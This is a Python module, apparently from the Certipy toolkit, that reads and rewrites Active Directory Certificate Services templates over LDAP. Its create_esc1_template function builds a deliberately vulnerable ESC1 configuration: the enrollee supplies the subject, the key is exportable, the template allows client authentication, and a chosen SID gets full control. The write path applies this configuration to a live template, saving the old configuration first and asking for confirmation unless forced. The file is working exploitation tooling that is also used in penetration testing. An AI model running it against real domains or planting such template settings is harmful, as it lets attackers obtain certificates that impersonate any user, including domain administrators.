"""
Certificate Template Management Module.

This module implements the functionality to view and modify Active Directory
certificate templates, allowing security assessment and exploitation of
misconfigured templates in AD CS environments.
"""

import argparse
import collections
import json
from itertools import groupby
from typing import Any, Dict, Optional

import ldap3
from ldap3.core.results import RESULT_INSUFFICIENT_ACCESS_RIGHTS
from ldap3.protocol.microsoft import security_descriptor_control
from ldap3.utils.conv import escape_filter_chars

from certipy.lib.constants import (
    OID_TO_STR_NAME_MAP,
    CertificateNameFlag,
    EnrollmentFlag,
    PrivateKeyFlag,
    TemplateFlags,
)
from certipy.lib.files import try_to_save_file
from certipy.lib.ldap import LDAPConnection, LDAPEntry
from certipy.lib.logger import logging
from certipy.lib.security import create_sd
from certipy.lib.target import Target
from certipy.lib.time import (
    SECONDS_PER_WEEK,
    SECONDS_PER_YEAR,
    filetime_to_span,
    span_to_filetime,
)

# Attributes that should not be modified to avoid breaking template functionality
PROTECTED_ATTRIBUTES = [
    "objectClass",
    "cn",
    "distinguishedName",
    "whenCreated",
    "whenChanged",
    "name",
    "objectGUID",
    "objectCategory",
    "dSCorePropagationData",
    "msPKI-Cert-Template-OID",
    "uSNCreated",
    "uSNChanged",
    "displayName",
    "instanceType",
    "revision",
    "msPKI-Template-Schema-Version",
    "msPKI-Template-Minor-Revision",
]


def create_esc1_template(sid: str) -> dict[str, Any]:
    """
    ESC1 vulnerable template configuration with full control for the passed sid.
    This configuration creates a template that allows `sid` to enroll
    and obtain certificates with client authentication EKU.
    """
    return {
        "showInAdvancedViewOnly": True,
        # Security descriptor giving `sid` full control
        "nTSecurityDescriptor": create_sd(sid).getData(),
        "flags": int(
            TemplateFlags.PUBLISH_TO_DS
            | TemplateFlags.EXPORTABLE_KEY
            | TemplateFlags.AUTO_ENROLLMENT
            | TemplateFlags.ADD_TEMPLATE_NAME
            | TemplateFlags.IS_DEFAULT
        ),  # Template flags
        "pKIDefaultKeySpec": 2,  # AT_SIGNATURE
        "pKIKeyUsage": b"\x86\x00",  # Digital Signature, Key Encipherment
        "pKIMaxIssuingDepth": -1,  # Maximum depth value for the Basic Constraint extension (-1 means no limit)
        "pKICriticalExtensions": [
            "2.5.29.19",  # Basic Constraints
            "2.5.29.15",  # Key Usage
        ],  # Critical extensions
        "pKIExpirationPeriod": span_to_filetime(SECONDS_PER_YEAR),  # 1 year validity
        "pKIOverlapPeriod": span_to_filetime(SECONDS_PER_WEEK * 6),  # 6 week overlap
        "pKIExtendedKeyUsage": [
            OID_TO_STR_NAME_MAP["client authentication"],
        ],
        "msPKI-Certificate-Application-Policy": [
            OID_TO_STR_NAME_MAP["client authentication"],
        ],
        "pKIDefaultCSPs": [
            "2,Microsoft Base Cryptographic Provider v1.0",
            "1,Microsoft Enhanced Cryptographic Provider v1.0",
        ],
        "msPKI-RA-Signature": 0,  # No recovery agent signatures required
        "msPKI-Enrollment-Flag": int(
            EnrollmentFlag.NONE
        ),  # No special enrollment flags
        "msPKI-Private-Key-Flag": int(PrivateKeyFlag.EXPORTABLE_KEY),  # Allow export
        "msPKI-Certificate-Name-Flag": int(
            CertificateNameFlag.ENROLLEE_SUPPLIES_SUBJECT
        ),  # Name flags
        "msPKI-Minimal-Key-Size": 2048,  # Minimum 2048-bit key
    }


TRANSFORMERS = {
    "pKIOverlapPeriod": (filetime_to_span, span_to_filetime),
    "pKIExpirationPeriod": (filetime_to_span, span_to_filetime),
}


def default_into_transformer(value: Any) -> Any:
    """
    Default transformer function that returns the value unchanged.

    Args:
        value: The value to transform

    Returns:
        The original value
    """
    if isinstance(value, list):
        return [default_into_transformer(item) for item in value]
    if isinstance(value, bytes):
        return "HEX:" + value.hex()
    return value


def default_from_transformer(value: Any) -> Any:
    """
    Default transformer function that converts a value to its original form.

    Args:
        value: The value to transform

    Returns:
        The original value
    """
    if isinstance(value, list):
        return [default_from_transformer(item) for item in value]
    if isinstance(value, str) and value.startswith("HEX:"):
        return bytes.fromhex(value[4:])
    return value


class Template:
    """
    Certificate Template management class for viewing and modifying AD CS templates.

    This class provides functionality to retrieve, save, and modify certificate
    template configurations in Active Directory Certificate Services.
    """

    def __init__(
        self,
        target: "Target",
        template: str = "",
        write_configuration: Optional[str] = None,
        write_default_configuration: Optional[str] = None,
        save_configuration: Optional[str] = None,
        no_save: bool = False,
        force: bool = False,
        connection: Optional[LDAPConnection] = None,
        **kwargs,  # type: ignore
    ):
        """
        Initialize a Template object for certificate template operations.

        Args:
            target: Target domain information
            template: Name of the certificate template to operate on
            write_configuration: Path to configuration file to apply
            write_default_configuration: Whether to apply the default ESC1 configuration (optionally with target SID)
            save_configuration: Path to save the current configuration
            no_save: Whether to skip saving the current configuration
            force: Do not prompt for confirmation before applying changes
            scheme: LDAP connection scheme (ldap or ldaps)
            connection: Optional existing LDAP connection to reuse
            **kwargs: Additional keyword arguments
        """
        self.target = target
        self.template_name = template
        self.write_configuration_file = write_configuration
        self.write_default_configuration = write_default_configuration
        self.save_configuration_file = save_configuration
        self.no_save = no_save
        self.force = force
        self.kwargs = kwargs

        self._connection = connection

    @property
    def connection(self) -> LDAPConnection:
        """
        Lazily establish and return an LDAP connection.

        Returns:
            An active LDAP connection to the target domain
        """
        if self._connection is not None:
            return self._connection

        self._connection = LDAPConnection(self.target)
        self._connection.connect()

        return self._connection

    def configuration_to_json(self, configuration: Dict[str, Any]) -> str:
        """
        Convert a template configuration to a JSON string.

        Converts binary attribute values to their hexadecimal representation
        for storage in JSON format.

        Args:
            configuration: Template configuration dictionary

        Returns:
            JSON string representation of the configuration
        """
        output = {}
        for key, value in configuration.items():
            if key in PROTECTED_ATTRIBUTES:
                continue

            into_transformer, _ = TRANSFORMERS.get(
                key, (default_into_transformer, None)
            )

            output[key] = into_transformer(value)

        return json.dumps(output, indent=2, ensure_ascii=False)

    def get_configuration(self, template_name: str) -> Optional[LDAPEntry]:
        """
        Retrieve the configuration for a certificate template from AD.

        Searches for the template by CN or displayName and returns its configuration.

        Args:
            template_name: Name of the certificate template to find

        Returns:
            LDAPEntry containing the template configuration or None if not found
        """
        escaped_template = escape_filter_chars(template_name)

        # First try searching by CN
        results = self.connection.search(
            search_filter=f"(&(cn={escaped_template})(objectClass=pKICertificateTemplate))",
            search_base=self.connection.configuration_path,
            query_sd=True,
        )

        # If not found by CN, try displayName
        if not results:
            results = self.connection.search(
                f"(&(displayName={escaped_template})(objectClass=pKICertificateTemplate))",
                search_base=self.connection.configuration_path,
                query_sd=True,
            )

            if not results:
                logging.error(
                    f"Could not find any certificate template for {template_name!r}"
                )
                return None

        if len(results) > 1:
            # This should never happen, but just in case
            logging.error(
                f"Found multiple certificate templates identified by {template_name!r}"
            )
            return None

        return results[0]

    def json_to_configuration(
        self, configuration_json: Dict[str, Any]
    ) -> Dict[str, Any]:
        """
        Convert a JSON configuration back to a usable LDAP configuration.

        Converts hexadecimal strings back to binary data for LDAP operations.

        Args:
            configuration_json: Dictionary loaded from JSON

        Returns:
            Configuration dictionary with binary values ready for LDAP
        """
        output = {}
        for key, value in configuration_json.items():
            if key in PROTECTED_ATTRIBUTES:
                continue

            _, from_transformer = TRANSFORMERS.get(
                key, (None, default_from_transformer)
            )
            output[key] = from_transformer(value)

        return output

    def load_configuration(self, configuration_path: str) -> Dict[str, Any]:
        """
        Load a template configuration from a JSON file.

        Args:
            configuration_path: Path to the configuration JSON file

        Returns:
            Configuration dictionary with binary values

        Raises:
            ValueError: If the JSON file doesn't contain a dictionary
            FileNotFoundError: If the configuration file can't be found
        """
        try:
            with open(configuration_path, "r") as f:
                configuration_json = json.load(f)

            if not isinstance(configuration_json, dict):
                raise ValueError(
                    f"Expected a JSON object, got {type(configuration_json)!r}"
                )

            return self.json_to_configuration(configuration_json)
        except FileNotFoundError:
            logging.error(f"Configuration file not found: {configuration_path}")
            raise
        except json.JSONDecodeError:
            logging.error(f"Invalid JSON in configuration file: {configuration_path}")
            raise ValueError("Invalid JSON in configuration file")
        except Exception as e:
            logging.error(f"Error loading configuration file: {e}")
            raise

    def save_configuration(self, configuration: Optional[LDAPEntry] = None) -> None:
        """
        Save the current configuration to a JSON file.
        """
        # Get the current configuration
        current_configuration = configuration
        if current_configuration is None:
            current_configuration = self.get_configuration(self.template_name)
            if not current_configuration:
                raise Exception(
                    f"Failed to retrieve configuration for {self.template_name!r}. Aborting."
                )

        current_configuration_json = self.configuration_to_json(
            current_configuration["attributes"]
        )

        out_file = (
            self.save_configuration_file.removesuffix(".json")
            if self.save_configuration_file
            else current_configuration.get("cn")
        )

        out_file = f"{out_file}.json"
        logging.info(f"Saving current configuration to {out_file!r}")
        out_file = try_to_save_file(
            current_configuration_json, out_file, abort_on_fail=True
        )
        logging.info(
            f"Wrote current configuration for {self.template_name!r} to {out_file!r}"
        )

    def write_configuration(self) -> bool:
        """
        Apply a new configuration to a certificate template.

        If no configuration file is provided, applies the default vulnerable
        configuration. If save_old is True, saves the current configuration
        before applying changes.

        Returns:
            True if the template was successfully updated, False otherwise
        """
        if not self.template_name:
            logging.error("A template (-template) is required")
            return False

        # Get the configuration to apply
        if self.write_configuration_file:
            try:
                new_configuration = self.load_configuration(
                    self.write_configuration_file
                )
            except (FileNotFoundError, ValueError):
                return False
        else:
            # Only needed to make the typechecker pass. At this position in write_configuration,
            # the options write_configuration_file and write_default_configuration are mutually
            # exclusive so this should always pass.
            assert self.write_default_configuration is not None
            # Use the default vulnerable configuration
            new_configuration = create_esc1_template(self.write_default_configuration)

        # Get the current configuration
        old_configuration = self.get_configuration(self.template_name)
        if not old_configuration:
            return False

        # Save the old configuration if requested
        if not self.no_save:
            self.save_configuration(old_configuration)

        # Compute the changes to make
        changes = self._compute_changes(old_configuration, new_configuration)

        if not changes:
            logging.warning(
                "New configuration is the same as old configuration. Not updating"
            )
            return False

        # Apply the changes
        return self._apply_changes(old_configuration, changes)

    def _compute_changes(
        self, old_configuration: LDAPEntry, new_configuration: Dict[str, Any]
    ) -> Dict[str, Any]:
        """
        Compute the changes needed to update a template configuration.

        Args:
            old_configuration: Current template configuration
            new_configuration: New template configuration to apply

        Returns:
            Dictionary of changes to apply using LDAP modify operation
        """
        changes = {}

        # Check for attributes to delete or modify
        for key in old_configuration["attributes"].keys():
            if key in PROTECTED_ATTRIBUTES:
                continue

            # Delete attributes not in the new configuration
            if key not in new_configuration:
                changes[key] = [(ldap3.MODIFY_DELETE, [])]
                continue

            # Replace attributes with new values if different
            old_value = old_configuration.get(key)
            new_value = new_configuration[key]

            if type(old_value) != type(new_value):
                changes[key] = [(ldap3.MODIFY_REPLACE, new_value)]
                continue
            if isinstance(old_value, list):
                # Check if the list values are different
                if collections.Counter(old_value) != collections.Counter(new_value):
                    changes[key] = [(ldap3.MODIFY_REPLACE, new_value)]
                continue

            if old_value != new_value:
                changes[key] = [(ldap3.MODIFY_REPLACE, new_value)]

        # Add new attributes not in the old configuration
        for key, value in new_configuration.items():
            if (
                key in changes
                or key in PROTECTED_ATTRIBUTES
                or key in old_configuration["attributes"]
            ):
                continue

            changes[key] = [(ldap3.MODIFY_ADD, value)]

        return changes

    def _apply_changes(
        self, old_configuration: LDAPEntry, changes: Dict[str, Any]
    ) -> bool:
        """
        Apply computed changes to a template configuration.

        Args:
            old_configuration: Current template configuration
            changes: Dictionary of changes to apply

        Returns:
            True if changes were applied successfully, False otherwise
        """
        template_name = old_configuration.get("cn")
        logging.info(f"Updating certificate template {template_name!r}")

        # Log the changes grouped by operation type
        self._log_changes(changes)

        if not self.force:
            # Ask for confirmation before applying changes
            confirm = input(
                f"Are you sure you want to apply these changes to {template_name!r}? (y/N): "
            )
            if confirm.strip().lower() != "y":
                logging.info("Aborting changes")
                return False

        # Apply the changes
        result = self.connection.modify(
            old_configuration.get("distinguishedName"),
            changes,
            controls=security_descriptor_control(sdflags=0x4),
        )

        if result["result"] == 0:
            logging.info(f"Successfully updated {template_name!r}")
            return True
        elif result["result"] == RESULT_INSUFFICIENT_ACCESS_RIGHTS:
            logging.error(
                f"User {self.target.username!r} doesn't have permission to update "
                f"these attributes on {template_name!r}"
            )
        else:
            logging.error(f"Got error: {result['message']}")

        return False

    def _log_changes(self, changes: Dict[str, Any]) -> None:
        """
        Log the changes to be applied, grouped by operation type.

        Args:
            changes: Dictionary of changes to apply
        """
        # Group changes by operation (MODIFY_DELETE, MODIFY_REPLACE, MODIFY_ADD)
        by_op = lambda item: item[1][0][0]

        for op, group in groupby(sorted(changes.items(), key=by_op), by_op):
            op_name = {
                ldap3.MODIFY_ADD: "Adding",
                ldap3.MODIFY_DELETE: "Deleting",
                ldap3.MODIFY_REPLACE: "Replacing",
            }.get(op, op)

            logging.info(f"{op_name}:")

            for item in list(group):
                key = item[0]
                value = item[1][0][1]
                logging.info(f"    {key}: {value!r}")


def entry(options: argparse.Namespace) -> None:
    """
    Entry point for the template command.

    Args:
        options: Command-line arguments
    """
    target = Target.from_options(options, dc_as_target=True)

    # Remove target from options to avoid duplicate argument
    options.__delattr__("target")

    template = Template(target=target, **vars(options))

    will_write = (
        template.write_default_configuration is not None
    ) or template.write_configuration_file

    if template.save_configuration_file:
        template.save_configuration()

    if will_write:
        template.write_configuration()

    # if template.write_default_configuration or template.configuration:
    #     # Apply the configuration
    #     if not template.set_configuration():
    #         logging.error("Failed to set the template configuration")
    #         return
    # _ = template.set_configuration()
